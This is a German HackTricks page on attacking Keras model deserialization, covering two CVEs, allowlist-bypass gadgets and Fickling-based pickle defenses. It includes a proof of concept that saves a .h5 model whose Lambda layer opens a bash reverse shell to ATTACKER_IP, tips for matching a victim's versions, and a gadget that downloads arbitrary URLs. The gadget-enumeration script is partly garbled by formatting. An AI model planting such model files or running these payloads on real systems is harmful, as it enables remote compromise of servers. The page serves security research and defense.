Keras Model Deserialization RCE und Gadget Hunting
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite fasst praktische Exploitation-Techniken gegen die Keras-Modell-Deserialisierungspipeline zusammen, erklÀrt die Interna des nativen .keras-Formats und die AngriffsflÀche und stellt ein Researcher-Toolkit zum Auffinden von Model File Vulnerabilities (MFVs) und post-fix gadgets bereit.
.keras Modellformat-Interna
Eine .keras-Datei ist ein ZIP-Archiv, das mindestens enthÀlt:
- metadata.json â allgemeine Informationen (z. B. Keras-Version)
- config.json â Modellarchitektur (primĂ€re AngriffsflĂ€che)
- model.weights.h5 â Gewichte im HDF5-Format
Die config.json steuert die rekursive Deserialisierung: Keras importiert Module, löst Klassen/Funktionen auf und rekonstruiert Layers/Objekte aus vom Angreifer kontrollierten Dictionaries.
Beispielausschnitt fĂŒr ein Dense-Layer-Objekt:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
Deserialisierung fĂŒhrt Folgendes aus:
- Import von Modulen und Auflösung von Symbolen aus module/class_name-SchlĂŒsseln
- from_config(âŠ) oder Konstruktoraufruf mit durch den Angreifer kontrollierten kwargs
- Rekursive Verarbeitung verschachtelter Objekte (activations, initializers, constraints, etc.)
Historisch hat das einem Angreifer, der config.json erstellt, drei Primitive offenbart:
- Kontrolle darĂŒber, welche Module importiert werden
- Kontrolle darĂŒber, welche Klassen/Funktionen aufgelöst werden
- Kontrolle ĂŒber die kwargs, die an Konstruktoren/from_config ĂŒbergeben werden
CVE-2024-3660 â Lambda-layer bytecode RCE
Ursache:
- Lambda.from_config() verwendete python_utils.func_load(âŠ), welches Angreifer-Bytes base64-dekodiert und marshal.loads() aufruft; das Python-Unmarshalling kann Code ausfĂŒhren.
Exploit idea (simplified payload in config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
GegenmaĂnahmen:
- Keras erzwingt standardmĂ€Ăig safe_mode=True. Serialisierte Python-Funktionen in Lambda werden blockiert, es sei denn, ein Benutzer deaktiviert dies explizit mit safe_mode=False.
Hinweise:
- Legacy-Formate (Ă€ltere HDF5-Saves) oder Ă€ltere Codebasen erzwingen möglicherweise keine modernen PrĂŒfungen, sodass âdowngradeâ-artige Angriffe weiterhin anwendbar sind, wenn Opfer Ă€ltere Loader verwenden.
CVE-2025-1550 â Beliebiger Modulimport in Keras †3.8
Ursache:
- _retrieve_class_or_fn verwendete uneingeschrÀnkt importlib.import_module() mit vom Angreifer kontrollierten Modul-Strings aus config.json.
- Auswirkung: Beliebiger Import eines installierten Moduls (oder eines vom Angreifer auf sys.path abgelegten Moduls). Code zur Importzeit wird ausgefĂŒhrt, danach erfolgt die Objekterstellung mit Angreifer-kwargs.
Exploit-Idee:
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
Sicherheitsverbesserungen (Keras â„ 3.9):
- Modul-Allowlist: Importe auf offizielle Module des Ăkosystems beschrĂ€nkt: keras, keras_hub, keras_cv, keras_nlp
- Safe mode standardmĂ€Ăig: safe_mode=True verhindert das Laden unsicherer, serialisierter Lambda-Funktionen
- Einfache TypprĂŒfung: deserialisierte Objekte mĂŒssen den erwarteten Typen entsprechen
Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE
Viele Produktions-Stacks akzeptieren weiterhin legacy TensorFlow-Keras HDF5 Modelldateien (.h5). Wenn ein Angreifer ein Modell hochladen kann, das der Server spĂ€ter lĂ€dt oder fĂŒr Inference verwendet, kann eine Lambda-Schicht beliebiges Python beim load/build/predict ausfĂŒhren.
Minimaler PoC, um eine bösartige .h5 zu erstellen, die beim Deserialisieren oder Verwenden eine reverse shell ausfĂŒhrt:
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x
m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5") # legacy HDF5 container
Hinweise und Tipps zur ZuverlÀssigkeit:
- Auslösepunkte: Code kann mehrfach ausgefĂŒhrt werden (z. B. wĂ€hrend layer build/first call, model.load_model und predict/fit). Machen Sie payloads idempotent.
- Version-Pinning: Stimmen Sie die TF/Keras/Python-Version des Opfers ab, um SerialisierungsinkompatibilitÀten zu vermeiden. Zum Beispiel: bauen Sie Artefakte unter Python 3.8 mit TensorFlow 2.13.1, wenn das Ziel diese Version verwendet.
- Schnelle Replikation der Umgebung:
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
- Validierung: Eine harmlose Nutzlast wie os.system(âping -c 1 YOUR_IPâ) hilft, die AusfĂŒhrung zu bestĂ€tigen (z. B. ICMP mit tcpdump beobachten), bevor auf eine reverse shell umgeschaltet wird.
Post-fix-gadget-AngriffsflÀche innerhalb der allowlist
Selbst mit allowlisting und safe mode bleibt eine breite AngriffsflÀche unter den erlaubten Keras callables. Zum Beispiel kann keras.utils.get_file beliebige URLs in vom Benutzer wÀhlbare Speicherorte herunterladen.
Gadget via Lambda, das eine erlaubte Funktion referenziert (nicht serialisierter Python-Bytecode):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Wichtige EinschrÀnkung:
- Lambda.call() fĂŒgt den Eingabe-Tensor als erstes Positionsargument hinzu, wenn das Ziel-callable aufgerufen wird. AusgewĂ€hlte gadgets mĂŒssen ein zusĂ€tzliches Positionsargument tolerieren (oder *args/**kwargs akzeptieren). Das schrĂ€nkt ein, welche Funktionen brauchbar sind.
ML-pickle-Import-Allowlist fĂŒr AI/ML-Modelle (Fickling)
Viele AI/ML-Modellformate (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, Ă€ltere TensorFlow-Artefakte, etc.) betten Python pickle-Daten ein. Angreifer missbrauchen routinemĂ€Ăig pickle GLOBAL-Imports und Objektkonstruktoren, um RCE oder Modelltausch beim Laden zu erreichen. Blacklist-basierte Scanner ĂŒbersehen oft neue oder nicht aufgelistete gefĂ€hrliche Imports.
Eine praktikable Fail-Closed-Verteidigung besteht darin, Pythons pickle-Deserializer zu hooken und wĂ€hrend des Unpicklings nur eine geprĂŒfte Menge harmloser, ML-bezogener Imports zu erlauben. Trail of Bitsâ Fickling implementiert diese Richtlinie und liefert eine kuratierte ML-Import-Allowlist, die aus tausenden öffentlichen Hugging Face pickles erstellt wurde.
Sicherheitsmodell fĂŒr âsichereâ Imports (Intuitionen, destilliert aus Forschung und Praxis):
- Kein AusfĂŒhren von Code oder Verursachen von AusfĂŒhrung (keine kompilierten/Quell-Code-Objekte, Shell-Aufrufe, hooks, etc.)
- Keine beliebigen Attribute oder Items lesen/setzen
- Keine Imports oder Beschaffung von Referenzen zu anderen Python-Objekten aus der pickle-VM
- Keine Auslösung sekundÀrer Deserialisierer (z. B. marshal, nested pickle), auch nicht indirekt
Aktivieren Sie Ficklings Schutzmechanismen möglichst frĂŒh beim Prozessstart, damit alle pickle loads, die von Frameworks (torch.load, joblib.load, etc.) durchgefĂŒhrt werden, ĂŒberprĂŒft werden:
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
Betriebliche Hinweise:
- Sie können die hooks bei Bedarf vorĂŒbergehend deaktivieren/wieder aktivieren:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
- Wenn ein als vertrauenswĂŒrdig bekanntes Modell blockiert ist, erweitern Sie die allowlist fĂŒr Ihre Umgebung, nachdem Sie die Symbole ĂŒberprĂŒft haben:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
-
Fickling stellt auĂerdem generische Runtime-Guards bereit, wenn Sie feinere Kontrolle bevorzugen:
-
fickling.always_check_safety() um Checks fĂŒr alle pickle.load() durchzusetzen
-
with fickling.check_safety(): fĂŒr scoped enforcement
-
fickling.load(path) / fickling.is_likely_safe(path) fĂŒr einmalige Checks
-
Bevorzugen Sie nach Möglichkeit non-pickle model formats (z. B. SafeTensors). Wenn Sie pickle akzeptieren mĂŒssen, fĂŒhren Sie Loader unter least privilege ohne network egress aus und erzwingen Sie die allowlist.
Diese allowlist-first strategy blockiert nachweislich gĂ€ngige ML pickle-Exploit-Pfade und bewahrt dabei hohe KompatibilitĂ€t. In ToBâs benchmark markierte Fickling 100% der synthetischen bösartigen Dateien und erlaubte ~99% der sauberen Dateien aus den Top Hugging Face repos.
Toolkit fĂŒr Forscher
- Systematische Gadget-Erkennung in allowlisted Modulen
Enumeriere candidate callables in keras, keras_nlp, keras_cv, keras_hub und priorisiere diejenigen mit file/network/process/env side effects.
Auflisten potenziell gefÀhrlicher callables in allowlisted Keras-Modulen
```python import importlib, inspect, pkgutilALLOWLIST = [âkerasâ, âkeras_nlpâ, âkeras_cvâ, âkeras_hubâ]
seen = set()
def iter_modules(mod): if not hasattr(mod, âpathâ): return for m in pkgutil.walk_packages(mod.path, mod.name + â.â): yield m.name
candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or ââ).lower() text = fâ{name}.{n} {sig} :: {doc}â
Heuristics: look for I/O or network-ish hints
if any(x in doc for x in [âdownloadâ, âfileâ, âpathâ, âopenâ, âurlâ, âhttpâ, âsocketâ, âenvâ, âprocessâ, âspawnâ, âexecâ]): candidates.append(text)
print(â\nâ.join(sorted(candidates)[:200]))
</details>
2) Direkte Deserialisierungstests (kein .keras-Archiv benötigt)
FĂŒttern Sie gezielt gestaltete dicts direkt in Keras-Deserialisierer, um akzeptierte Parameter kennenzulernen und Nebeneffekte zu beobachten.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- Cross-version probing und Formate
Keras existiert in mehreren Codebasen/Epochen mit unterschiedlichen Schutzvorkehrungen und Formaten:
- TensorFlow built-in Keras: tensorflow/python/keras (veraltet, zur Löschung vorgesehen)
- tf-keras: wird separat gepflegt
- Multi-backend Keras 3 (offiziell): fĂŒhrte native .keras ein
FĂŒhre Tests ĂŒber die verschiedenen Codebasen und Formate hinweg (.keras vs legacy HDF5) erneut durch, um Regressionen oder fehlende SchutzmaĂnahmen aufzudecken.
References
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 â Added checks to serialization
- CVE-2024-3660 â Keras Lambda deserialization RCE
- CVE-2025-1550 â Keras arbitrary module import (†3.8)
- huntr report â arbitrary import #1
- huntr report â arbitrary import #2
- HTB Artificial â TensorFlow .h5 Lambda RCE to root
- Trail of Bits blog â Ficklingâs new AI/ML pickle file scanner
- Fickling â Securing AI/ML environments (README)
- Fickling pickle scanning benchmark corpus
- Picklescan, ModelScan, model-unpickler
- Sleepy Pickle attacks background
- SafeTensors project
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


